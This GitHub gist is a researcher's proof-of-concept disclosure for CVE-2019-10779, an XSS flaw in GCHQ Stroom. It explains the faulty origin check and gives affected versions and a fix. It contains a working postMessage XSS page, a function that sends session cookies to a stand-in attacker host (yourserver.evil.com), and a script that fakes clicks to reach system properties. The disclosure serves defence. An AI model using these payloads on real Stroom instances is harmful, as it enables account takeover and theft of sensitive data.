Skip to content

Instantly share code, notes, and snippets.

@JLLeitschuh
Last active January 21, 2020 17:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JLLeitschuh/a6d6eb3886170dafa7c0cbe1d63edefa to your computer and use it in GitHub Desktop.
Save JLLeitschuh/a6d6eb3886170dafa7c0cbe1d63edefa to your computer and use it in GitHub Desktop.
POC for CVE-2019-10779

GCHQ Stroom is vulnerable to Cross-Site Scripting due to the ability to load the Stroom dashboard on another site and insufficient protection against window event origins.

Versions

  • Affected versions: < 5.5.12 & < 6.0.25
  • Patched versions: 5.5.12 & 6.0.25

POC

Launch Stroom and assign it a hostname like stroom.my-company.com, then log in.

An attacker can then register their own domain name like stroom.my-company.com.attacker.com. If the attacker is able to convince a victim to visit stroom.my-company.com.attacker.com and they can render the following, they can achieve XSS.

<html>
<head>
  <script>
    frameLoaded = function() {
      window.frames[0].postMessage(
        JSON.stringify({data: {
          frameId: 0,
          callbackId: 0,
          functionName: "alert('XSS!');//",
          params: [],
        }}),
        "*"
      );
    };
  </script>
</head>
<body>
  <iframe src="https://stroom.my-company.com/stroom/vis.html" height="90%" width="90%" onload="frameLoaded(this)"/>
</body>
</html>

Explanation

This is due to insufficient protection against window events from other domains. https://github.com/gchq/stroom/blob/9e8b68fd694c87d6ee8d261a844090fbfb11a0db/stroom-app/src/main/resources/ui/vis.js#L322-L324

In this case "stroom.my-company.com.attacker.com".indexOf("stroom.my-company.com") == 0 which allows an attacker to bypass this verification check.

This vulnerability is also possible due to a lack of proper X-Frame-Options headers to prevent the vis.html document from being rendered on a different domain.

I believe the X-Frame-Options that you would want would be X-Frame-Options: sameorigin.

Impact

The impact of XSS in this UI would be information disclosure of all sensitive information that stroom holds. Also, depending upon how much control that the various stroom UI components give over the local system (I'm not a user, just a curious researcher) there may be a larger impact from this vector.

Original Discovery

This vulnerability was originally reported by LGTM. I just followed up on the investigation out of curiosity. https://lgtm.com/projects/g/gchq/stroom/snapshot/96b8926ae16a7c4dd52abb68250a0f783770f289/files/stroom-app/src/main/resources/ui/vis.js

Full Impact POC

Since the session ID cookies used for authentication aren't HttpOnly an XSS attack allows an XSS attack to exfiltrate the contents of those cookies to an attacker allowing that attacker to perform full account takeover in their own browser.

Screen Shot 2019-11-15 at 1 07 34 PM

For example, the following code will snag these cookies and send them to an attacker-controlled site:

function stealCookies() {
   document.write('<img src="https://yourserver.evil.com/collect.gif?cookie=' + document.cookie + '" />')
}

Additionally, since I have XSS on the site, I have all the permissions of the site.

This payload, for example, would pull up the system properties from the vis.html document and allow all of them to be exfiltrated. Faking click events is easier than trying to deobfuscate the API exposed by GWT.

If you want to demo what this does, just open up the https://[address]/stroom/vis.html and paste the code below into your chrome developer console.

It will demonstrate that XXS on vis.html can open an iframe back to the main /stroom/ui and gives an attacker full control over that UI by allowing them to simulate fake click requests.

theFrame = document.createElement("iframe")
theFrame.src = "/stroom/ui"
theFrame.width = "90%"
theFrame.height = "90%"

function eventFire(el, etype){
  if (el.fireEvent) {
    el.fireEvent('on' + etype);
  } else {
    var evObj = document.createEvent('Events');
    evObj.initEvent(etype, true, false);
    el.dispatchEvent(evObj);
  }
}
function findByText(theText) {
  const xpath = `//div[contains(text(),'${theText}')]`;
  return theFrame.contentDocument.evaluate(xpath, theFrame.contentDocument, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
}

function theFrameLoaded() {
  window.setTimeout(doTheThing, 2000)
}

function doTheThing() {
  const toolsButton = findByText('Tools');
  eventFire(toolsButton, 'click');
  const properties = findByText('Properties');
  eventFire(properties, 'click')
}

theFrame.onload = theFrameLoaded

document.body.appendChild(theFrame)

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment